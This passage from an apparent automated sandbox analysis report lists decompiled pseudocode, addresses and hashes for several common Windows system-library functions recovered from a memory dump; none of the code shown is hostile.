						_push((0 | ( *(_v12 + 0xc) & 0x0000000c) != 0x00000008) + 2);
						goto L21;
					}
				} else {
					_push(__ecx);
					_push(_t80);
					E03D0A80D(__ecx[0xf], 9, __edx, _t80);
					L22:
					return _t80;
				}
			}

0x03d0fde7
0x03d0fde8
0x03d0fdec
0x03d0fdee
0x03d0fdf5
0x03d0fdf7
0x03d0fdfc
0x03d0fe19
0x03d0fe22
0x03d0fe26
0x03d0fec6
0x03d0fecd
0x03d0fed5
0x03d0fee7
0x03d0fed7
0x03d0fee0
0x03d0fee0
0x03d0feef
0x03d0ff00
0x03d0ff02
0x03d0ff07
0x03d0ff07
0x00000000
0x03d0feef
0x03d0fe33
0x03d0fe55
0x03d0fe59
0x03d0fe5b
0x03d0fe5e
0x03d0fe69
0x03d0fe6d
0x03d0fe6d
0x03d0fe69
0x03d0fe35
0x03d0fe41
0x03d0fe41
0x03d0fe79
0x03d0fe8b
0x03d0fe7b
0x03d0fe84
0x03d0fe84
0x03d0fe93
0x00000000
0x03d0fea8
0x03d0feba
0x00000000
0x03d0feba
0x03d0fdfe
0x03d0fe01
0x03d0fe02
0x03d0fe08
0x03d0ff0c
0x03d0ff14
0x03d0ff14

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction ID: a2d2666fddc77dfc5728c312be983cfb00d95d34a7ae7de64d533000ef2dee57
Opcode Fuzzy Hash: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction Fuzzy Hash: 3B31C5362047406FD732D768C844F6ABBADEB85E50F2C4559E9858B7C2DA75D841C720

Uniqueness

Uniqueness Score: -1.00%

Function 03D0EA55, Relevance: .1, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E03D0EA55(intOrPtr* __ecx, char __edx, signed int _a4) {
				signed int _v8;
				char _v12;
				intOrPtr _v15;
				char _v16;
				intOrPtr _v19;
				void* _v28;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				signed char _t26;
				signed int _t27;
				char* _t40;
				unsigned int* _t50;
				intOrPtr* _t58;
				unsigned int _t59;
				char _t75;
				signed int _t86;
				intOrPtr _t88;
				intOrPtr* _t91;

				_t75 = __edx;
				_t91 = __ecx;
				_v12 = __edx;
				_t50 = __ecx + 0x30;
				_t86 = _a4 & 0x00000001;
				if(_t86 == 0) {
					E03C62280(_t26, _t50);
					_t75 = _v16;
				}
				_t58 = _t91;
				_t27 = E03D0E815(_t58, _t75);
				_v8 = _t27;
				if(_t27 != 0) {
					E03C4F900(_t91 + 0x34, _t27);
					if(_t86 == 0) {
						E03C5FFB0(_t50, _t86, _t50);
					}
					_push( *((intOrPtr*)(_t91 + 4)));
					_push( *_t91);
					_t59 =  *(_v8 + 0x10);
					_t53 = 1 << (_t59 >> 0x00000002 & 0x0000003f);
					_push(0x8000);
					_t11 = _t53 - 1; // 0x0
					_t12 = _t53 - 1; // 0x0
					_v16 = ((_t59 >> 0x00000001 & 1) + (_t59 >> 0xc) << 0xc) - 1 + (1 << (_t59 >> 0x00000002 & 0x0000003f)) - (_t11 + ((_t59 >> 0x00000001 & 1) + (_t59 >> 0x0000000c) << 0x0000000c) & _t12);
					E03D0AFDE( &_v12,  &_v16);
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					E03D0BCD2(_v8,  *_t91,  *((intOrPtr*)(_t91 + 4)));
					_t55 = _v36;
					_t88 = _v36;
					if(E03C67D50() == 0) {
						_t40 = 0x7ffe0388;
					} else {
						_t55 = _v19;
						_t40 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t40 != 0) {
						E03CFFE3F(_t55, _t91, _v15, _t55);
					}
				} else {
					if(_t86 == 0) {
						E03C5FFB0(_t50, _t86, _t50);
						_t75 = _v16;
					}
					_push(_t58);
					_t88 = 0;
					_push(0);
					E03D0A80D(_t91, 8, _t75, 0);
				}
				return _t88;
			}

0x03d0ea55
0x03d0ea66
0x03d0ea68
0x03d0ea6c
0x03d0ea6f
0x03d0ea72
0x03d0ea75
0x03d0ea7a
0x03d0ea7a
0x03d0ea7e
0x03d0ea80
0x03d0ea85
0x03d0ea8b
0x03d0eab5
0x03d0eabc
0x03d0eabf
0x03d0eabf
0x03d0eaca
0x03d0eace
0x03d0ead0
0x03d0eae4
0x03d0eaeb
0x03d0eaf0
0x03d0eaf5
0x03d0eb09
0x03d0eb0d
0x03d0eb1d
0x03d0eb2d
0x03d0eb38
0x03d0eb3d
0x03d0eb41
0x03d0eb4a
0x03d0eb60
0x03d0eb4c
0x03d0eb52
0x03d0eb59
0x03d0eb59
0x03d0eb68
0x03d0eb71
0x03d0eb71
0x03d0ea8d
0x03d0ea8f
0x03d0ea92
0x03d0ea97
0x03d0ea97
0x03d0ea9b
0x03d0ea9c
0x03d0ea9e
0x03d0eaa6
0x03d0eaa6
0x03d0eb7e

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction ID: c6266262f49f6d854bd8d55e1d867a08bea25acbf26c191991ffc040b3d3f1c3
Opcode Fuzzy Hash: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction Fuzzy Hash: 0B31A176604B05ABC719DF24C880A6BB7AAFFC4A10F054D2DF596CB681DA34E805CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 03CC69A6, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E03CC69A6(signed short* __ecx, void* __eflags) {
				signed int _v8;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				char* _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				char _v72;
				signed short* _v76;
				signed int _v80;
				char _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t68;
				intOrPtr _t73;
				signed short* _t74;
				void* _t77;
				void* _t78;
				signed int _t79;
				signed int _t80;

				_v8 =  *0x3d3d360 ^ _t80;
				_t75 = 0x100;
				_v64 = _v64 & 0x00000000;
				_v76 = __ecx;
				_t79 = 0;
				_t68 = 0;
				_v72 = 1;
				_v68 =  *((intOrPtr*)( *[fs:0x18] + 0x20));
				_t77 = 0;
				if(L03C56C59(__ecx[2], 0x100, __eflags) != 0) {
					_t79 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
					if(_t79 != 0 && E03CC6BA3() != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0x1f0003);
						_push( &_v64);
						if(E03C89980() >= 0) {
							E03C62280(_t56, 0x3d38778);
							_t77 = 1;
							_t68 = 1;
							if( *0x3d38774 == 0) {
								asm("cdq");
								 *(_t79 + 0xf70) = _v64;
								 *(_t79 + 0xf74) = 0x100;
								_t75 = 0;
								_t73 = 4;
								_v60 =  &_v68;
								_v52 = _t73;
								_v36 = _t73;
								_t74 = _v76;
								_v44 =  &_v72;
								 *0x3d38774 = 1;
								_v56 = 0;
								_v28 = _t74[2];
								_v48 = 0;
								_v20 = ( *_t74 & 0x0000ffff) + 2;
								_v40 = 0;
								_v32 = 0;
								_v24 = 0;
								_v16 = 0;
								if(E03C4B6F0(0x3c2c338, 0x3c2c288, 3,  &_v60) == 0) {
									_v80 = _v80 | 0xffffffff;
									_push( &_v84);
									_push(0);
									_push(_v64);
									_v84 = 0xfa0a1f00;
									E03C89520();
								}
							}
						}
					}
				}
				if(_v64 != 0) {
					_push(_v64);
					E03C895D0();
					 *(_t79 + 0xf70) =  *(_t79 + 0xf70) & 0x00000000;
					 *(_t79 + 0xf74) =  *(_t79 + 0xf74) & 0x00000000;
				}
				if(_t77 != 0) {
					E03C5FFB0(_t68, _t77, 0x3d38778);
				}
				_pop(_t78);
				return E03C8B640(_t68, _t68, _v8 ^ _t80, _t75, _t78, _t79);
			}

0x03cc69b5
0x03cc69be
0x03cc69c3
0x03cc69c9
0x03cc69cc
0x03cc69d1
0x03cc69d3
0x03cc69de
0x03cc69e1
0x03cc69ea
0x03cc69f6
0x03cc69fe
0x03cc6a13
0x03cc6a14
0x03cc6a15
0x03cc6a16
0x03cc6a1e
0x03cc6a26
0x03cc6a31
0x03cc6a36
0x03cc6a37
0x03cc6a40
0x03cc6a49
0x03cc6a4a
0x03cc6a53
0x03cc6a59
0x03cc6a5d
0x03cc6a5e
0x03cc6a64
0x03cc6a67
0x03cc6a6a
0x03cc6a6d
0x03cc6a70
0x03cc6a77
0x03cc6a7d
0x03cc6a86
0x03cc6a89
0x03cc6a9c
0x03cc6a9f
0x03cc6aa2
0x03cc6aa5
0x03cc6aaf
0x03cc6ab1
0x03cc6ab8
0x03cc6ab9
0x03cc6abb
0x03cc6abe
0x03cc6ac5
0x03cc6ac5
0x03cc6aaf
0x03cc6a40
0x03cc6a26
0x03cc69fe
0x03cc6ace
0x03cc6ad0
0x03cc6ad3
0x03cc6ad8
0x03cc6adf
0x03cc6adf
0x03cc6ae8
0x03cc6aef
0x03cc6aef
0x03cc6af9
0x03cc6b06

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a218a02410246ff7a529f3222f30f34fb707d3170db87b7fd285a25f9123936b
Instruction ID: c2b5f88657d208b675687f616b33376e7ab08eabe8bbebce34e51e0a6c79bb89
Opcode Fuzzy Hash: a218a02410246ff7a529f3222f30f34fb707d3170db87b7fd285a25f9123936b
Instruction Fuzzy Hash: BD4159B1E00208AFDB14DFA4C940BFEBBF8EF48714F08812AE914EB250DB719A05DB50

Uniqueness

Uniqueness Score: -1.00%

Function 03C45210, Relevance: .1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E03C45210(intOrPtr _a4, void* _a8) {
				void* __ecx;
				intOrPtr _t31;
				signed int _t32;
				signed int _t33;
				intOrPtr _t35;
				signed int _t52;
				void* _t54;
				void* _t56;
				unsigned int _t59;
				signed int _t60;
				void* _t61;

				_t61 = E03C452A5(1);
				if(_t61 == 0) {
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t54 =  *((intOrPtr*)(_t31 + 0x28));
					_t59 =  *(_t31 + 0x24) & 0x0000ffff;
				} else {
					_t54 =  *((intOrPtr*)(_t61 + 0x10));
					_t59 =  *(_t61 + 0xc) & 0x0000ffff;
				}
				_t60 = _t59 >> 1;
				_t32 = 0x3a;
				if(_t60 < 2 ||  *((intOrPtr*)(_t54 + _t60 * 2 - 4)) == _t32) {
					_t52 = _t60 + _t60;
					if(_a4 > _t52) {
						goto L5;
					}
					if(_t61 != 0) {
						asm("lock xadd [esi], eax");
						if((_t32 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E03C895D0();
							L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					} else {
						E03C5EB70(_t54, 0x3d379a0);
					}
					_t26 = _t52 + 2; // 0xddeeddf0
					return _t26;
				} else {
					_t52 = _t60 + _t60;
					if(_a4 < _t52) {
						if(_t61 != 0) {
							asm("lock xadd [esi], eax");
							if((_t32 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t61 + 4)));
								E03C895D0();
								L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
							}
						} else {
							E03C5EB70(_t54, 0x3d379a0);
						}
						return _t52;
					}
					L5:
					_t33 = E03C8F3E0(_a8, _t54, _t52);
					if(_t61 == 0) {
						E03C5EB70(_t54, 0x3d379a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t33 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E03C895D0();
							L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					}
					_t35 = _a8;
					if(_t60 <= 1) {
						L9:
						_t60 = _t60 - 1;
						 *((short*)(_t52 + _t35 - 2)) = 0;
						goto L10;
					} else {
						_t56 = 0x3a;
						if( *((intOrPtr*)(_t35 + _t60 * 2 - 4)) == _t56) {
							 *((short*)(_t52 + _t35)) = 0;
							L10:
							return _t60 + _t60;
						}
						goto L9;
					}
				}
			}

0x03c45220
0x03c45224
0x03ca0d13
0x03ca0d16
0x03ca0d19
0x03c4522a
0x03c4522a
0x03c4522d
0x03c4522d
0x03c45231
0x03c45235
0x03c45239
0x03ca0d5c
0x03ca0d62
0x00000000
0x00000000
0x03ca0d6a
0x03ca0d7b
0x03ca0d7f
0x03ca0d81
0x03ca0d84
0x03ca0d95
0x03ca0d95
0x03ca0d6c
0x03ca0d71
0x03ca0d71
0x03ca0d9a
0x00000000
0x03c4524a
0x03c4524a
0x03c45250
0x03ca0d24
0x03ca0d35
0x03ca0d39
0x03ca0d3b
0x03ca0d3e
0x03ca0d50
0x03ca0d50
0x03ca0d26
0x03ca0d2b
0x03ca0d2b
0x00000000
0x03ca0d55
0x03c45256
0x03c4525b
0x03c45265
0x03ca0da7
0x03c4526b
0x03c4526e
0x03c45272
0x03ca0db1
0x03ca0db4
0x03ca0dc5
0x03ca0dc5
0x03c45272
0x03c45278
0x03c4527e
0x03c4528a
0x03c4528c
0x03c4528d
0x00000000
0x03c45280
0x03c45282
0x03c45288
0x03c4529f
0x03c45292
0x00000000
0x03c45292
0x00000000
0x03c45288
0x03c4527e

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9496a13436570113bd850829577a01c2e30ae396795af9e91befe4669a8708ca
Instruction ID: 80428a5e43af4911a3456f3a68fa4cf6f501260e6a326db9341dd384d08b6db1
Opcode Fuzzy Hash: 9496a13436570113bd850829577a01c2e30ae396795af9e91befe4669a8708ca
Instruction Fuzzy Hash: 4931F832A51B11EBC731EF29CC81B6AB765FF017A5F16461AE815CF5A0DB70FA00C690

Uniqueness

Uniqueness Score: -1.00%

Function 03C7A61C, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E03C7A61C(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t45;
				intOrPtr* _t51;
				intOrPtr* _t52;
				intOrPtr* _t55;
				signed int _t57;
				intOrPtr* _t59;
				intOrPtr _t68;
				intOrPtr* _t77;
				void* _t79;
				signed int _t80;
				intOrPtr _t81;
				char* _t82;
				void* _t83;

				_push(0x24);
				_push(0x3d20220);
				E03C9D08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t83 - 0x30)) = __edx;
				_t79 = __ecx;
				_t35 =  *0x3d37b9c; // 0x0
				_t55 = L03C64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t35 + 0xc0000, 0x28);
				 *((intOrPtr*)(_t83 - 0x24)) = _t55;
				if(_t55 == 0) {
					_t39 = 0xc0000017;
					L11:
					return E03C9D0D1(_t39);
				}
				_t68 = 0;
				 *((intOrPtr*)(_t83 - 0x1c)) = 0;
				 *(_t83 - 4) =  *(_t83 - 4) & 0;
				_t7 = _t55 + 8; // 0x8
				_t57 = 6;
				memcpy(_t7, _t79, _t57 << 2);
				_t80 = 0xfffffffe;
				 *(_t83 - 4) = _t80;
				if(0 < 0) {
					L14:
					_t81 =  *((intOrPtr*)(_t83 - 0x1c));
					L20:
					L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t55);
					_t39 = _t81;
					goto L11;
				}
				if( *((intOrPtr*)(_t55 + 0xc)) <  *(_t55 + 8)) {
					_t81 = 0xc000007b;
					goto L20;
				}
				if( *((intOrPtr*)(_t83 + 0xc)) == 0) {
					_t59 =  *((intOrPtr*)(_t83 + 8));
					_t45 =  *_t59;
					 *((intOrPtr*)(_t83 - 0x20)) = _t45;
					 *_t59 = _t45 + 1;
					L6:
					 *(_t83 - 4) = 1;
					 *((intOrPtr*)( *((intOrPtr*)(_t55 + 0x10)))) =  *((intOrPtr*)(_t83 - 0x20));
					 *(_t83 - 4) = _t80;
					if(_t68 < 0) {
						_t82 =  *((intOrPtr*)(_t83 + 0xc));
						if(_t82 == 0) {
							goto L14;
						}
						asm("btr eax, ecx");
						_t81 =  *((intOrPtr*)(_t83 - 0x1c));
						if( *_t82 != 0) {
							 *0x3d37b10 =  *0x3d37b10 - 8;
						}
						goto L20;
					}
					 *((intOrPtr*)(_t55 + 0x24)) =  *((intOrPtr*)(_t83 - 0x20));
					 *((intOrPtr*)(_t55 + 0x20)) =  *((intOrPtr*)(_t83 - 0x30));
					_t51 =  *0x3d3536c; // 0x2caed58
					if( *_t51 != 0x3d35368) {
						_push(3);
						asm("int 0x29");
						goto L14;
					}
					 *_t55 = 0x3d35368;
					 *((intOrPtr*)(_t55 + 4)) = _t51;
					 *_t51 = _t55;
					 *0x3d3536c = _t55;
					_t52 =  *((intOrPtr*)(_t83 + 0x10));
					if(_t52 != 0) {
						 *_t52 = _t55;
					}
					_t39 = 0;
					goto L11;
				}
				_t77 =  *((intOrPtr*)(_t83 + 8));
				_t68 = E03C7A70E(_t77,  *((intOrPtr*)(_t83 + 0xc)));
				 *((intOrPtr*)(_t83 - 0x1c)) = _t68;
				if(_t68 < 0) {
					goto L14;
				}
				 *((intOrPtr*)(_t83 - 0x20)) =  *_t77;
				goto L6;
			}

0x03c7a61c
0x03c7a61e
0x03c7a623
0x03c7a628
0x03c7a62b
0x03c7a62d
0x03c7a648
0x03c7a64a
0x03c7a64f
0x03cb9b44
0x03c7a6ec
0x03c7a6f1
0x03c7a6f1
0x03c7a655
0x03c7a657
0x03c7a65a
0x03c7a65d
0x03c7a662
0x03c7a663
0x03c7a667
0x03c7a668
0x03c7a66d
0x03c7a706
0x03c7a706
0x03cb9bda
0x03cb9be6
0x03cb9beb
0x00000000
0x03cb9beb
0x03c7a679
0x03cb9b7a
0x00000000
0x03cb9b7a
0x03c7a683
0x03c7a6f4
0x03c7a6f7
0x03c7a6f9
0x03c7a6fd
0x03c7a6a0
0x03c7a6a0
0x03c7a6ad
0x03c7a6af
0x03c7a6b4
0x03cb9ba7
0x03cb9bac
0x00000000
0x00000000
0x03cb9bc6
0x03cb9bce
0x03cb9bd1
0x03cb9bd3
0x03cb9bd3
0x00000000
0x03cb9bd1
0x03c7a6bd
0x03c7a6c3
0x03c7a6c6
0x03c7a6d2
0x03c7a701
0x03c7a704
0x00000000
0x03c7a704
0x03c7a6d4
0x03c7a6d6
0x03c7a6d9
0x03c7a6db
0x03c7a6e1
0x03c7a6e6
0x03c7a6e8
0x03c7a6e8
0x03c7a6ea
0x00000000
0x03c7a6ea
0x03c7a688
0x03c7a692
0x03c7a694
0x03c7a699
0x00000000
0x00000000
0x03c7a69d
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71767769deaf30a4de57d39eec2af88059a3b7f3445483bf1dd269024992d994
Instruction ID: 52054246a0050bbe79d2bfdcdfc44a481982af905aaac65f1c6f2941c1ba5cfb
Opcode Fuzzy Hash: 71767769deaf30a4de57d39eec2af88059a3b7f3445483bf1dd269024992d994
Instruction Fuzzy Hash: B04127B9A00219DFCB15DF69C490B9DBBF2BF49304F1A80A9E904EF354D774A941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 03C83D43, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C83D43(signed short* __ecx, signed short* __edx, signed short* _a4, signed short** _a8, intOrPtr* _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				char _v12;
				signed short** _t33;
				short* _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				signed short _t43;
				intOrPtr* _t47;
				intOrPtr* _t53;
				signed short _t57;
				intOrPtr _t58;
				signed short _t60;
				signed short* _t61;

				_t47 = __ecx;
				_t61 = __edx;
				_t60 = ( *__ecx & 0x0000ffff) + 2;
				if(_t60 > 0xfffe) {
					L22:
					return 0xc0000106;
				}
				if(__edx != 0) {
					if(_t60 <= ( *(__edx + 2) & 0x0000ffff)) {
						L5:
						E03C57B60(0, _t61, 0x3c211c4);
						_v12 =  *_t47;
						_v12 = _v12 + 0xfff8;
						_v8 =  *((intOrPtr*)(_t47 + 4)) + 8;
						E03C57B60(0xfff8, _t61,  &_v12);
						_t33 = _a8;
						if(_t33 != 0) {
							 *_t33 = _t61;
						}
						 *((short*)(_t61[2] + (( *_t61 & 0x0000ffff) >> 1) * 2)) = 0;
						_t53 = _a12;
						if(_t53 != 0) {
							_t57 = _t61[2];
							_t38 = _t57 + ((( *_t61 & 0x0000ffff) >> 1) - 1) * 2;
							while(_t38 >= _t57) {
								if( *_t38 == 0x5c) {
									_t41 = _t38 + 2;
									if(_t41 == 0) {
										break;
									}
									_t58 = 0;
									if( *_t41 == 0) {
										L19:
										 *_t53 = _t58;
										goto L7;
									}
									 *_t53 = _t41;
									goto L7;
								}
								_t38 = _t38 - 2;
							}
							_t58 = 0;
							goto L19;
						} else {
							L7:
							_t39 = _a16;
							if(_t39 != 0) {
								 *_t39 = 0;
								 *((intOrPtr*)(_t39 + 4)) = 0;
								 *((intOrPtr*)(_t39 + 8)) = 0;
								 *((intOrPtr*)(_t39 + 0xc)) = 0;
							}
							return 0;
						}
					}
					_t61 = _a4;
					if(_t61 != 0) {
						L3:
						_t43 = L03C64620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t60);
						_t61[2] = _t43;
						if(_t43 == 0) {
							return 0xc0000017;
						}
						_t61[1] = _t60;
						 *_t61 = 0;
						goto L5;
					}
					goto L22;
				}
				_t61 = _a4;
				if(_t61 == 0) {
					return 0xc000000d;
				}
				goto L3;
			}

0x03c83d4c
0x03c83d50
0x03c83d55
0x03c83d5e
0x03cbe79a
0x00000000
0x03cbe79a
0x03c83d68
0x03cbe789
0x03c83d9d
0x03c83da3
0x03c83daf
0x03c83db5
0x03c83dbc
0x03c83dc4
0x03c83dc9
0x03c83dce
0x03cbe7ae
0x03cbe7ae
0x03c83dde
0x03c83de2
0x03c83de7
0x03c83e0d
0x03c83e13
0x03c83e16
0x03c83e1e
0x03c83e25
0x03c83e28
0x00000000
0x00000000
0x03c83e2a
0x03c83e2f
0x03c83e37
0x03c83e37
0x00000000
0x03c83e37
0x03c83e31
0x00000000
0x03c83e31
0x03c83e20
0x03c83e20
0x03c83e35
0x00000000
0x03c83de9
0x03c83de9
0x03c83de9
0x03c83dee
0x03c83dfd
0x03c83dff
0x03c83e02
0x03c83e05
0x03c83e05
0x00000000
0x03c83df0
0x03c83de7
0x03cbe78f
0x03cbe794
0x03c83d79
0x03c83d84
0x03c83d89
0x03c83d8e
0x00000000
0x03cbe7a4
0x03c83d96
0x03c83d9a
0x00000000
0x03c83d9a
0x00000000
0x03cbe794
0x03c83d6e
0x03c83d73
0x00000000
0x03cbe7b5
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8eac120c109b2986dc96d6e080b695396f1572fed9b229783910779b8435d956
Instruction ID: c444a626310251d3147061e87cb401dde8ce42ec92a0cccdb9346aaf14542605
Opcode Fuzzy Hash: 8eac120c109b2986dc96d6e080b695396f1572fed9b229783910779b8435d956
Instruction Fuzzy Hash: F531DE3DA00654DBC724EF2AD841AABBBF4EF45B08B09906AE845DF350E730DA40C790

Uniqueness

Uniqueness Score: -1.00%

Function 03C6C182, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E03C6C182(void* __ecx, unsigned int* __edx, intOrPtr _a4) {
				signed int* _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				signed char _t43;
				signed char _t48;
				signed char _t62;
				void* _t63;
				intOrPtr _t69;
				intOrPtr _t71;
				unsigned int* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E03C67D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E03D18D34(_v8, _t80);
					}
					E03C62280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E03C5FFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t30 = _t80 + 0xd0; // 0xd0
						_t83 = _t30;
						E03D18833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E03C5FFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E03C8B180();
						if(_a4 != 0) {
							E03C62280(_t48, _t81);
						}
					} else {
						_t69 = _v8;
						_t12 = _t80 + 0x98; // 0x98
						_t13 = _t69 + 0xc; // 0x575651ff
						E03C6BB2D(_t13, _t12);
						_t71 = _v8;
						_t15 = _t80 + 0xb0; // 0xb0
						_t16 = _t71 + 8; // 0x8b000cc2
						E03C6BB2D(_t16, _t15);
						E03C6B944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E03C5FFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							_t25 = _t80 + 0x90; // 0x90
							E03C5FFB0(0, _t80, _t25);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					_t24 = _t80 + 0x90; // 0x90
					E03C5FFB0(0, __ecx, _t24);
				}
				return 0;
			}

0x03c6c18d
0x03c6c18f
0x03c6c191
0x03c6c19b
0x03c6c1a0
0x03c6c1d4
0x03c6c1de
0x03cb2d6e
0x03c6c1e4
0x03c6c1e4
0x03c6c1e4
0x03c6c1ec
0x03cb2d7d
0x03cb2d7d
0x03c6c1f3
0x03c6c1ff
0x03cb2d88
0x03cb2d8d
0x03cb2d94
0x03cb2d94
0x03cb2d9f
0x03cb2da4
0x03cb2dab
0x03cb2db0
0x03cb2db2
0x03cb2db3
0x03cb2db4
0x03cb2dbc
0x03cb2dc3
0x03cb2dc3
0x03c6c205
0x03c6c205
0x03c6c208
0x03c6c20e
0x03c6c211
0x03c6c216
0x03c6c219
0x03c6c21f
0x03c6c222
0x03c6c22c
0x03c6c234
0x03c6c23a
0x03c6c23f
0x03c6c245
0x03c6c24b
0x03c6c251
0x03c6c25a
0x03c6c276
0x03c6c27d
0x03c6c27d
0x03c6c25c
0x03c6c25c
0x00000000
0x03c6c25e
0x03c6c1a4
0x03c6c1aa
0x03c6c1b3
0x03c6c265
0x03c6c26c
0x03c6c26c
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction ID: c470130db0effe8adac012a99c049951c1ba24dba3fd1cfd6b167c61016474ce
Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction Fuzzy Hash: AF31077560164ABED705EBB5C8C0BE9F7A4BF42204F08815AD85CDF201DB396A59EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 03CC7016, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 76%

